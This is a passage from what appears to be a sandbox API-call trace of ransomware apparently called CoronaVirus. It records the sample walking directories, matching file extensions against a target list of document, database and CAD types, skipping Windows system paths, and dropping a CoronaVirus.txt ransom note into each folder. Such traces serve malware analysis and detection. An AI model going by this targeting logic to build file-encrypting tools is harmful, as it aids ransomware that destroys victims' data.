	[0079.276] _wcslwr (in: _String=0x31658ae | out: _String=".log") returned=".log"
	[0079.276] wcsstr (_Str=".odt", _SubStr=".log") returned 0x0
	[0079.276] _wcslwr (in: _String=0x31658ae | out: _String=".log") returned=".log"
	[0079.276] wcsstr (_Str=".ods", _SubStr=".log") returned 0x0
	[0079.276] _wcslwr (in: _String=0x31658ae | out: _String=".log") returned=".log"
	[0079.276] wcsstr (_Str=".rar", _SubStr=".log") returned 0x0
	[0079.276] _wcslwr (in: _String=0x31658ae | out: _String=".log") returned=".log"
	[0079.276] wcsstr (_Str=".zip", _SubStr=".log") returned 0x0
	[0079.276] _wcslwr (in: _String=0x31658ae | out: _String=".log") returned=".log"
	[0079.276] wcsstr (_Str=".cpp", _SubStr=".log") returned 0x0
	[0079.276] _wcslwr (in: _String=0x31658ae | out: _String=".log") returned=".log"
	[0079.276] wcsstr (_Str=".pas", _SubStr=".log") returned 0x0
	[0079.276] _wcslwr (in: _String=0x31658ae | out: _String=".log") returned=".log"
	[0079.276] wcsstr (_Str=".asm", _SubStr=".log") returned 0x0
	[0079.276] _wcslwr (in: _String=0x31658ae | out: _String=".log") returned=".log"
	[0079.276] wcsstr (_Str=".rtf", _SubStr=".log") returned 0x0
	[0079.276] _wcslwr (in: _String=0x31658ae | out: _String=".log") returned=".log"
	[0079.276] wcsstr (_Str=".lic", _SubStr=".log") returned 0x0
	[0079.276] _wcslwr (in: _String=0x31658ae | out: _String=".log") returned=".log"
	[0079.276] wcsstr (_Str=".avi", _SubStr=".log") returned 0x0
	[0079.276] _wcslwr (in: _String=0x31658ae | out: _String=".log") returned=".log"
	[0079.276] wcsstr (_Str=".mov", _SubStr=".log") returned 0x0
	[0079.276] _wcslwr (in: _String=0x31658ae | out: _String=".log") returned=".log"
	[0079.276] wcsstr (_Str=".mp3", _SubStr=".log") returned 0x0
	[0079.276] _wcslwr (in: _String=0x31658ae | out: _String=".log") returned=".log"
	[0079.276] wcsstr (_Str=".vbs", _SubStr=".log") returned 0x0
	[0079.276] _wcslwr (in: _String=0x31658ae | out: _String=".log") returned=".log"
	[0079.276] wcsstr (_Str=".v8i", _SubStr=".log") returned 0x0
	[0079.276] _wcslwr (in: _String=0x31658ae | out: _String=".log") returned=".log"
	[0079.276] wcsstr (_Str=".erf", _SubStr=".log") returned 0x0
	[0079.276] _wcslwr (in: _String=0x31658ae | out: _String=".log") returned=".log"
	[0079.276] wcsstr (_Str=".epf", _SubStr=".log") returned 0x0
	[0079.276] _wcslwr (in: _String=0x31658ae | out: _String=".log") returned=".log"
	[0079.277] wcsstr (_Str=".mxl", _SubStr=".log") returned 0x0
	[0079.277] _wcslwr (in: _String=0x31658ae | out: _String=".log") returned=".log"
	[0079.277] wcsstr (_Str=".cfu", _SubStr=".log") returned 0x0
	[0079.277] _wcslwr (in: _String=0x31658ae | out: _String=".log") returned=".log"
	[0079.277] wcsstr (_Str=".mht", _SubStr=".log") returned 0x0
	[0079.277] _wcslwr (in: _String=0x31658ae | out: _String=".log") returned=".log"
	[0079.277] wcsstr (_Str=".bak", _SubStr=".log") returned 0x0
	[0079.277] _wcslwr (in: _String=0x31658ae | out: _String=".log") returned=".log"
	[0079.277] wcsstr (_Str=".old", _SubStr=".log") returned 0x0
	[0079.277] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x973abb0f, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x980eecb6, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x1774, dwReserved0=0x0, dwReserved1=0x0, cFileName="oobe_2017_09_07_03_08_57_737.log", cAlternateFileName="OOBE_2~1.LOG")) returned 1
	[0079.277] wcsncmp (_String1="o", _String2=".", _MaxCount=0x1) returned 65
	[0079.277] wcsncmp (_String1="oo", _String2="..", _MaxCount=0x2) returned 65
	[0079.277] _wcslwr (in: _String=0x31658a4 | out: _String=".log") returned=".log"
	[0079.277] wcsstr (_Str=".bak", _SubStr=".log") returned 0x0
	[0079.277] _wcslwr (in: _String=0x31658a4 | out: _String=".log") returned=".log"
	[0079.277] wcsstr (_Str=".bat", _SubStr=".log") returned 0x0
	[0079.277] _wcslwr (in: _String=0x31658a4 | out: _String=".log") returned=".log"
	[0079.277] wcsstr (_Str=".doc", _SubStr=".log") returned 0x0
	[0079.277] _wcslwr (in: _String=0x31658a4 | out: _String=".log") returned=".log"
	[0079.277] wcsstr (_Str=".jpg", _SubStr=".log") returned 0x0
	[0079.277] _wcslwr (in: _String=0x31658a4 | out: _String=".log") returned=".log"
	[0079.277] wcsstr (_Str=".jpe", _SubStr=".log") returned 0x0
	[0079.277] _wcslwr (in: _String=0x31658a4 | out: _String=".log") returned=".log"
	[0079.277] wcsstr (_Str=".txt", _SubStr=".log") returned 0x0
	[0079.277] _wcslwr (in: _String=0x31658a4 | out: _String=".log") returned=".log"
	[0079.277] wcsstr (_Str=".tex", _SubStr=".log") returned 0x0
	[0079.277] _wcslwr (in: _String=0x31658a4 | out: _String=".log") returned=".log"
	[0079.277] wcsstr (_Str=".dbf", _SubStr=".log") returned 0x0
	[0079.277] _wcslwr (in: _String=0x31658a4 | out: _String=".log") returned=".log"
	[0079.277] wcsstr (_Str=".xls", _SubStr=".log") returned 0x0
	[0079.277] _wcslwr (in: _String=0x31658a4 | out: _String=".log") returned=".log"
	[0079.277] wcsstr (_Str=".cry", _SubStr=".log") returned 0x0
	[0079.277] _wcslwr (in: _String=0x31658a4 | out: _String=".log") returned=".log"
	[0079.277] wcsstr (_Str=".xml", _SubStr=".log") returned 0x0
	[0079.277] _wcslwr (in: _String=0x31658a4 | out: _String=".log") returned=".log"
	[0079.277] wcsstr (_Str=".vsd", _SubStr=".log") returned 0x0
	[0079.277] _wcslwr (in: _String=0x31658a4 | out: _String=".log") returned=".log"
	[0079.278] wcsstr (_Str=".pdf", _SubStr=".log") returned 0x0
	[0079.278] _wcslwr (in: _String=0x31658a4 | out: _String=".log") returned=".log"
	[0079.278] wcsstr (_Str=".csv", _SubStr=".log") returned 0x0
	[0079.278] _wcslwr (in: _String=0x31658a4 | out: _String=".log") returned=".log"
	[0079.278] wcsstr (_Str=".bmp", _SubStr=".log") returned 0x0
	[0079.278] _wcslwr (in: _String=0x31658a4 | out: _String=".log") returned=".log"
	[0079.278] wcsstr (_Str=".tif", _SubStr=".log") returned 0x0
	[0079.278] _wcslwr (in: _String=0x31658a4 | out: _String=".log") returned=".log"
	[0079.278] wcsstr (_Str=".1cd", _SubStr=".log") returned 0x0
	[0079.278] _wcslwr (in: _String=0x31658a4 | out: _String=".log") returned=".log"
	[0079.278] wcsstr (_Str=".tax", _SubStr=".log") returned 0x0
	[0079.278] _wcslwr (in: _String=0x31658a4 | out: _String=".log") returned=".log"
	[0079.278] wcsstr (_Str=".gif", _SubStr=".log") returned 0x0
	[0079.278] _wcslwr (in: _String=0x31658a4 | out: _String=".log") returned=".log"
	[0079.278] wcsstr (_Str=".gbr", _SubStr=".log") returned 0x0
	[0079.278] _wcslwr (in: _String=0x31658a4 | out: _String=".log") returned=".log"
	[0079.278] wcsstr (_Str=".png", _SubStr=".log") returned 0x0
	[0079.278] _wcslwr (in: _String=0x31658a4 | out: _String=".log") returned=".log"
	[0079.278] wcsstr (_Str=".mdb", _SubStr=".log") returned 0x0
	[0079.278] _wcslwr (in: _String=0x31658a4 | out: _String=".log") returned=".log"
	[0079.278] wcsstr (_Str=".mdf", _SubStr=".log") returned 0x0
	[0079.278] _wcslwr (in: _String=0x31658a4 | out: _String=".log") returned=".log"
	[0079.278] wcsstr (_Str=".sdf", _SubStr=".log") returned 0x0
	[0079.278] _wcslwr (in: _String=0x31658a4 | out: _String=".log") returned=".log"
	[0079.278] wcsstr (_Str=".dwg", _SubStr=".log") returned 0x0
	[0079.278] _wcslwr (in: _String=0x31658a4 | out: _String=".log") returned=".log"
	[0079.278] wcsstr (_Str=".dxf", _SubStr=".log") returned 0x0
	[0079.278] _wcslwr (in: _String=0x31658a4 | out: _String=".log") returned=".log"
	[0079.278] wcsstr (_Str=".dgn", _SubStr=".log") returned 0x0
	[0079.278] _wcslwr (in: _String=0x31658a4 | out: _String=".log") returned=".log"
	[0079.278] wcsstr (_Str=".stl", _SubStr=".log") returned 0x0
	[0079.278] _wcslwr (in: _String=0x31658a4 | out: _String=".log") returned=".log"
	[0079.278] wcsstr (_Str=".gho", _SubStr=".log") returned 0x0
	[0079.278] _wcslwr (in: _String=0x31658a4 | out: _String=".log") returned=".log"
	[0079.278] wcsstr (_Str=".v2i", _SubStr=".log") returned 0x0
	[0079.278] _wcslwr (in: _String=0x31658a4 | out: _String=".log") returned=".log"
	[0079.278] wcsstr (_Str=".3ds", _SubStr=".log") returned 0x0
	[0079.279] _wcslwr (in: _String=0x31658a4 | out: _String=".log") returned=".log"
	[0079.279] wcsstr (_Str=".ppt", _SubStr=".log") returned 0x0
	[0079.279] _wcslwr (in: _String=0x31658a4 | out: _String=".log") returned=".log"
	[0079.279] wcsstr (_Str=".acc", _SubStr=".log") returned 0x0
	[0079.279] _wcslwr (in: _String=0x31658a4 | out: _String=".log") returned=".log"
	[0079.279] wcsstr (_Str=".vpd", _SubStr=".log") returned 0x0
	[0079.279] _wcslwr (in: _String=0x31658a4 | out: _String=".log") returned=".log"
	[0079.279] wcsstr (_Str=".odt", _SubStr=".log") returned 0x0
	[0079.279] _wcslwr (in: _String=0x31658a4 | out: _String=".log") returned=".log"
	[0079.279] wcsstr (_Str=".ods", _SubStr=".log") returned 0x0
	[0079.279] _wcslwr (in: _String=0x31658a4 | out: _String=".log") returned=".log"
	[0079.279] wcsstr (_Str=".rar", _SubStr=".log") returned 0x0
	[0079.279] _wcslwr (in: _String=0x31658a4 | out: _String=".log") returned=".log"
	[0079.279] wcsstr (_Str=".zip", _SubStr=".log") returned 0x0
	[0079.279] _wcslwr (in: _String=0x31658a4 | out: _String=".log") returned=".log"
	[0079.279] wcsstr (_Str=".cpp", _SubStr=".log") returned 0x0
	[0079.279] _wcslwr (in: _String=0x31658a4 | out: _String=".log") returned=".log"
	[0079.279] wcsstr (_Str=".pas", _SubStr=".log") returned 0x0
	[0079.279] _wcslwr (in: _String=0x31658a4 | out: _String=".log") returned=".log"
	[0079.279] wcsstr (_Str=".asm", _SubStr=".log") returned 0x0
	[0079.279] _wcslwr (in: _String=0x31658a4 | out: _String=".log") returned=".log"
	[0079.279] wcsstr (_Str=".rtf", _SubStr=".log") returned 0x0
	[0079.279] _wcslwr (in: _String=0x31658a4 | out: _String=".log") returned=".log"
	[0079.279] wcsstr (_Str=".lic", _SubStr=".log") returned 0x0
	[0079.279] _wcslwr (in: _String=0x31658a4 | out: _String=".log") returned=".log"
	[0079.279] wcsstr (_Str=".avi", _SubStr=".log") returned 0x0
	[0079.279] _wcslwr (in: _String=0x31658a4 | out: _String=".log") returned=".log"
	[0079.279] wcsstr (_Str=".mov", _SubStr=".log") returned 0x0
	[0079.279] _wcslwr (in: _String=0x31658a4 | out: _String=".log") returned=".log"
	[0079.279] wcsstr (_Str=".mp3", _SubStr=".log") returned 0x0
	[0079.279] _wcslwr (in: _String=0x31658a4 | out: _String=".log") returned=".log"
	[0079.279] wcsstr (_Str=".vbs", _SubStr=".log") returned 0x0
	[0079.279] _wcslwr (in: _String=0x31658a4 | out: _String=".log") returned=".log"
	[0079.279] wcsstr (_Str=".v8i", _SubStr=".log") returned 0x0
	[0079.279] _wcslwr (in: _String=0x31658a4 | out: _String=".log") returned=".log"
	[0079.279] wcsstr (_Str=".erf", _SubStr=".log") returned 0x0
	[0079.279] _wcslwr (in: _String=0x31658a4 | out: _String=".log") returned=".log"
	[0079.280] wcsstr (_Str=".epf", _SubStr=".log") returned 0x0
	[0079.280] _wcslwr (in: _String=0x31658a4 | out: _String=".log") returned=".log"
	[0079.280] wcsstr (_Str=".mxl", _SubStr=".log") returned 0x0
	[0079.280] _wcslwr (in: _String=0x31658a4 | out: _String=".log") returned=".log"
	[0079.280] wcsstr (_Str=".cfu", _SubStr=".log") returned 0x0
	[0079.280] _wcslwr (in: _String=0x31658a4 | out: _String=".log") returned=".log"
	[0079.280] wcsstr (_Str=".mht", _SubStr=".log") returned 0x0
	[0079.280] _wcslwr (in: _String=0x31658a4 | out: _String=".log") returned=".log"
	[0079.280] wcsstr (_Str=".bak", _SubStr=".log") returned 0x0
	[0079.280] _wcslwr (in: _String=0x31658a4 | out: _String=".log") returned=".log"
	[0079.280] wcsstr (_Str=".old", _SubStr=".log") returned 0x0
	[0079.280] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c5a0a89, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x9c5a0a89, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xbb3747bd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x28, dwReserved0=0x0, dwReserved1=0x0, cFileName="PartnerSetupCompleteResult.log", cAlternateFileName="PARTNE~1.LOG")) returned 1
	[0079.280] wcsncmp (_String1="P", _String2=".", _MaxCount=0x1) returned 34
	[0079.280] wcsncmp (_String1="Pa", _String2="..", _MaxCount=0x2) returned 34
	[0079.280] _wcslwr (in: _String=0x31658a0 | out: _String=".log") returned=".log"
	[0079.280] wcsstr (_Str=".bak", _SubStr=".log") returned 0x0
	[0079.280] _wcslwr (in: _String=0x31658a0 | out: _String=".log") returned=".log"
	[0079.280] wcsstr (_Str=".bat", _SubStr=".log") returned 0x0
	[0079.280] _wcslwr (in: _String=0x31658a0 | out: _String=".log") returned=".log"
	[0079.280] wcsstr (_Str=".doc", _SubStr=".log") returned 0x0
	[0079.280] _wcslwr (in: _String=0x31658a0 | out: _String=".log") returned=".log"
	[0079.280] wcsstr (_Str=".jpg", _SubStr=".log") returned 0x0
	[0079.280] _wcslwr (in: _String=0x31658a0 | out: _String=".log") returned=".log"
	[0079.280] wcsstr (_Str=".jpe", _SubStr=".log") returned 0x0
	[0079.280] _wcslwr (in: _String=0x31658a0 | out: _String=".log") returned=".log"
	[0079.280] wcsstr (_Str=".txt", _SubStr=".log") returned 0x0
	[0079.280] _wcslwr (in: _String=0x31658a0 | out: _String=".log") returned=".log"
	[0079.280] wcsstr (_Str=".tex", _SubStr=".log") returned 0x0
	[0079.280] _wcslwr (in: _String=0x31658a0 | out: _String=".log") returned=".log"
	[0079.280] wcsstr (_Str=".dbf", _SubStr=".log") returned 0x0
	[0079.280] _wcslwr (in: _String=0x31658a0 | out: _String=".log") returned=".log"
	[0079.280] wcsstr (_Str=".xls", _SubStr=".log") returned 0x0
	[0079.280] _wcslwr (in: _String=0x31658a0 | out: _String=".log") returned=".log"
	[0079.280] wcsstr (_Str=".cry", _SubStr=".log") returned 0x0
	[0079.280] _wcslwr (in: _String=0x31658a0 | out: _String=".log") returned=".log"
	[0079.280] wcsstr (_Str=".xml", _SubStr=".log") returned 0x0
	[0079.280] _wcslwr (in: _String=0x31658a0 | out: _String=".log") returned=".log"
	[0079.281] wcsstr (_Str=".vsd", _SubStr=".log") returned 0x0
	[0079.281] _wcslwr (in: _String=0x31658a0 | out: _String=".log") returned=".log"
	[0079.281] wcsstr (_Str=".pdf", _SubStr=".log") returned 0x0
	[0079.281] _wcslwr (in: _String=0x31658a0 | out: _String=".log") returned=".log"
	[0079.281] wcsstr (_Str=".csv", _SubStr=".log") returned 0x0
	[0079.281] _wcslwr (in: _String=0x31658a0 | out: _String=".log") returned=".log"
	[0079.281] wcsstr (_Str=".bmp", _SubStr=".log") returned 0x0
	[0079.281] _wcslwr (in: _String=0x31658a0 | out: _String=".log") returned=".log"
	[0079.281] wcsstr (_Str=".tif", _SubStr=".log") returned 0x0
	[0079.281] _wcslwr (in: _String=0x31658a0 | out: _String=".log") returned=".log"
	[0079.281] wcsstr (_Str=".1cd", _SubStr=".log") returned 0x0
	[0079.281] _wcslwr (in: _String=0x31658a0 | out: _String=".log") returned=".log"
	[0079.281] wcsstr (_Str=".tax", _SubStr=".log") returned 0x0
	[0079.281] _wcslwr (in: _String=0x31658a0 | out: _String=".log") returned=".log"
	[0079.281] wcsstr (_Str=".gif", _SubStr=".log") returned 0x0
	[0079.281] _wcslwr (in: _String=0x31658a0 | out: _String=".log") returned=".log"
	[0079.281] wcsstr (_Str=".gbr", _SubStr=".log") returned 0x0
	[0079.281] _wcslwr (in: _String=0x31658a0 | out: _String=".log") returned=".log"
	[0079.281] wcsstr (_Str=".png", _SubStr=".log") returned 0x0
	[0079.281] _wcslwr (in: _String=0x31658a0 | out: _String=".log") returned=".log"
	[0079.281] wcsstr (_Str=".mdb", _SubStr=".log") returned 0x0
	[0079.281] _wcslwr (in: _String=0x31658a0 | out: _String=".log") returned=".log"
	[0079.281] wcsstr (_Str=".mdf", _SubStr=".log") returned 0x0
	[0079.281] _wcslwr (in: _String=0x31658a0 | out: _String=".log") returned=".log"
	[0079.281] wcsstr (_Str=".sdf", _SubStr=".log") returned 0x0
	[0079.281] _wcslwr (in: _String=0x31658a0 | out: _String=".log") returned=".log"
	[0079.281] wcsstr (_Str=".dwg", _SubStr=".log") returned 0x0
	[0079.281] _wcslwr (in: _String=0x31658a0 | out: _String=".log") returned=".log"
	[0079.281] wcsstr (_Str=".dxf", _SubStr=".log") returned 0x0
	[0079.281] _wcslwr (in: _String=0x31658a0 | out: _String=".log") returned=".log"
	[0079.281] wcsstr (_Str=".dgn", _SubStr=".log") returned 0x0
	[0079.281] _wcslwr (in: _String=0x31658a0 | out: _String=".log") returned=".log"
	[0079.281] wcsstr (_Str=".stl", _SubStr=".log") returned 0x0
	[0079.281] _wcslwr (in: _String=0x31658a0 | out: _String=".log") returned=".log"
	[0079.281] wcsstr (_Str=".gho", _SubStr=".log") returned 0x0
	[0079.281] _wcslwr (in: _String=0x31658a0 | out: _String=".log") returned=".log"
	[0079.281] wcsstr (_Str=".v2i", _SubStr=".log") returned 0x0
	[0079.282] _wcslwr (in: _String=0x31658a0 | out: _String=".log") returned=".log"
	[0079.282] wcsstr (_Str=".3ds", _SubStr=".log") returned 0x0
	[0079.282] _wcslwr (in: _String=0x31658a0 | out: _String=".log") returned=".log"
	[0079.282] wcsstr (_Str=".ppt", _SubStr=".log") returned 0x0
	[0079.282] _wcslwr (in: _String=0x31658a0 | out: _String=".log") returned=".log"
	[0079.282] wcsstr (_Str=".acc", _SubStr=".log") returned 0x0
	[0079.282] _wcslwr (in: _String=0x31658a0 | out: _String=".log") returned=".log"
	[0079.282] wcsstr (_Str=".vpd", _SubStr=".log") returned 0x0
	[0079.282] _wcslwr (in: _String=0x31658a0 | out: _String=".log") returned=".log"
	[0079.282] wcsstr (_Str=".odt", _SubStr=".log") returned 0x0
	[0079.282] _wcslwr (in: _String=0x31658a0 | out: _String=".log") returned=".log"
	[0079.282] wcsstr (_Str=".ods", _SubStr=".log") returned 0x0
	[0079.282] _wcslwr (in: _String=0x31658a0 | out: _String=".log") returned=".log"
	[0079.282] wcsstr (_Str=".rar", _SubStr=".log") returned 0x0
	[0079.282] _wcslwr (in: _String=0x31658a0 | out: _String=".log") returned=".log"
	[0079.282] wcsstr (_Str=".zip", _SubStr=".log") returned 0x0
	[0079.282] _wcslwr (in: _String=0x31658a0 | out: _String=".log") returned=".log"
	[0079.282] wcsstr (_Str=".cpp", _SubStr=".log") returned 0x0
	[0079.282] _wcslwr (in: _String=0x31658a0 | out: _String=".log") returned=".log"
	[0079.282] wcsstr (_Str=".pas", _SubStr=".log") returned 0x0
	[0079.282] _wcslwr (in: _String=0x31658a0 | out: _String=".log") returned=".log"
	[0079.282] wcsstr (_Str=".asm", _SubStr=".log") returned 0x0
	[0079.282] _wcslwr (in: _String=0x31658a0 | out: _String=".log") returned=".log"
	[0079.282] wcsstr (_Str=".rtf", _SubStr=".log") returned 0x0
	[0079.282] _wcslwr (in: _String=0x31658a0 | out: _String=".log") returned=".log"
	[0079.282] wcsstr (_Str=".lic", _SubStr=".log") returned 0x0
	[0079.282] _wcslwr (in: _String=0x31658a0 | out: _String=".log") returned=".log"
	[0079.282] wcsstr (_Str=".avi", _SubStr=".log") returned 0x0
	[0079.282] _wcslwr (in: _String=0x31658a0 | out: _String=".log") returned=".log"
	[0079.282] wcsstr (_Str=".mov", _SubStr=".log") returned 0x0
	[0079.282] _wcslwr (in: _String=0x31658a0 | out: _String=".log") returned=".log"
	[0079.282] wcsstr (_Str=".mp3", _SubStr=".log") returned 0x0
	[0079.282] _wcslwr (in: _String=0x31658a0 | out: _String=".log") returned=".log"
	[0079.282] wcsstr (_Str=".vbs", _SubStr=".log") returned 0x0
	[0079.282] _wcslwr (in: _String=0x31658a0 | out: _String=".log") returned=".log"
	[0079.282] wcsstr (_Str=".v8i", _SubStr=".log") returned 0x0
	[0079.282] _wcslwr (in: _String=0x31658a0 | out: _String=".log") returned=".log"
	[0079.282] wcsstr (_Str=".erf", _SubStr=".log") returned 0x0
	[0079.283] _wcslwr (in: _String=0x31658a0 | out: _String=".log") returned=".log"
	[0079.283] wcsstr (_Str=".epf", _SubStr=".log") returned 0x0
	[0079.283] _wcslwr (in: _String=0x31658a0 | out: _String=".log") returned=".log"
	[0079.283] wcsstr (_Str=".mxl", _SubStr=".log") returned 0x0
	[0079.283] _wcslwr (in: _String=0x31658a0 | out: _String=".log") returned=".log"
	[0079.283] wcsstr (_Str=".cfu", _SubStr=".log") returned 0x0
	[0079.283] _wcslwr (in: _String=0x31658a0 | out: _String=".log") returned=".log"
	[0079.283] wcsstr (_Str=".mht", _SubStr=".log") returned 0x0
	[0079.283] _wcslwr (in: _String=0x31658a0 | out: _String=".log") returned=".log"
	[0079.283] wcsstr (_Str=".bak", _SubStr=".log") returned 0x0
	[0079.283] _wcslwr (in: _String=0x31658a0 | out: _String=".log") returned=".log"
	[0079.283] wcsstr (_Str=".old", _SubStr=".log") returned 0x0
	[0079.283] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c5a0a89, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x9c5a0a89, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xbb3747bd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x28, dwReserved0=0x0, dwReserved1=0x0, cFileName="PartnerSetupCompleteResult.log", cAlternateFileName="PARTNE~1.LOG")) returned 0
	[0079.283] FindClose (in: hFindFile=0x600e50 | out: hFindFile=0x600e50) returned 1
	[0079.283] FindNextFileW (in: hFindFile=0x600d10, lpFindFileData=0x3173ab8 | out: lpFindFileData=0x3173ab8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SafeOS", cAlternateFileName="")) returned 1
	[0079.283] wcsncmp (_String1="S", _String2=".", _MaxCount=0x1) returned 37
	[0079.283] wcsncmp (_String1="Sa", _String2="..", _MaxCount=0x2) returned 37
	[0079.283] _swprintf (in: param_1=0x3173d08, param_2="%s\\%s" | out: param_1="C:\\$GetCurrent\\SafeOS") returned 21
	[0079.283] wcsncmp (_String1="C:\\$GetCu", _String2="C:\\WINDOW", _MaxCount=0x9) returned -51
	[0079.283] wcsstr (_Str="C:\\$GetCurrent\\SafeOS", _SubStr="Microsoft\\Windows") returned 0x0
	[0079.283] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\CoronaVirus.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\coronavirus.txt"), lpNewFileName="C:\\$GetCurrent\\SafeOS\\CoronaVirus.txt" (normalized: "c:\\$getcurrent\\safeos\\coronavirus.txt"), bFailIfExists=0) returned 1
	[0079.288] _alloca_probe () returned 0x4036d0
	[0079.288] GetFullPathNameW (in: lpFileName="C:\\$GetCurrent\\SafeOS", nBufferLength=0x1000, lpBuffer=0x316da90, lpFilePart=0x316583c | out: lpBuffer="C:\\$GetCurrent\\SafeOS", lpFilePart=0x316583c*="SafeOS") returned 0x15
	[0079.288] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\SafeOS\\*.*", lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x957833a7, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0xe89d32a2, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x600e50
	[0079.288] wcsncmp (_String1=".", _String2=".", _MaxCount=0x1) returned 0
	[0079.288] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x957833a7, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0xe89d32a2, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.288] wcsncmp (_String1=".", _String2=".", _MaxCount=0x1) returned 0
	[0079.288] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe89d32a2, ftCreationTime.dwHighDateTime=0x1d5f87c, ftLastAccessTime.dwLowDateTime=0xe89d32a2, ftLastAccessTime.dwHighDateTime=0x1d5f87c, ftLastWriteTime.dwLowDateTime=0xe1b65524, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x384, dwReserved0=0x0, dwReserved1=0x0, cFileName="CoronaVirus.txt", cAlternateFileName="CORONA~1.TXT")) returned 1
	[0079.288] wcsncmp (_String1="C", _String2=".", _MaxCount=0x1) returned 21
	[0079.288] wcsncmp (_String1="Co", _String2="..", _MaxCount=0x2) returned 21
	[0079.289] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0079.289] wcsstr (_Str=".bak", _SubStr=".txt") returned 0x0
	[0079.289] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0079.289] wcsstr (_Str=".bat", _SubStr=".txt") returned 0x0
	[0079.289] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0079.289] wcsstr (_Str=".doc", _SubStr=".txt") returned 0x0
	[0079.289] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0079.289] wcsstr (_Str=".jpg", _SubStr=".txt") returned 0x0
	[0079.289] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0079.289] wcsstr (_Str=".jpe", _SubStr=".txt") returned 0x0
	[0079.289] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0079.289] wcsstr (_Str=".txt", _SubStr=".txt") returned=".txt"
	[0079.289] malloc (_Size=0x1000) returned 0x4588f8
	[0079.289] _swprintf (in: param_1=0x4588f8, param_2="%s\\%s" | out: param_1="C:\\$GetCurrent\\SafeOS\\CoronaVirus.txt") returned 37
	[0079.289] wcsstr (_Str="C:\\$GetCurrent\\SafeOS\\CoronaVirus.txt", _SubStr="CoronaVirus") returned="CoronaVirus.txt"
	[0079.289] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9568f13f, ftCreationTime.dwHighDateTime=0x1d3273b, ftLastAccessTime.dwLowDateTime=0x9568f13f, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0xfb529700, ftLastWriteTime.dwHighDateTime=0x1d2fc76, nFileSizeHigh=0x0, nFileSizeLow=0x232c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="GetCurrentOOBE.dll", cAlternateFileName="GETCUR~1.DLL")) returned 1
	[0079.289] wcsncmp (_String1="G", _String2=".", _MaxCount=0x1) returned 25
	[0079.289] wcsncmp (_String1="Ge", _String2="..", _MaxCount=0x2) returned 25
	[0079.289] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.289] wcsstr (_Str=".bak", _SubStr=".dll") returned 0x0
	[0079.289] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.289] wcsstr (_Str=".bat", _SubStr=".dll") returned 0x0
	[0079.289] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.289] wcsstr (_Str=".doc", _SubStr=".dll") returned 0x0
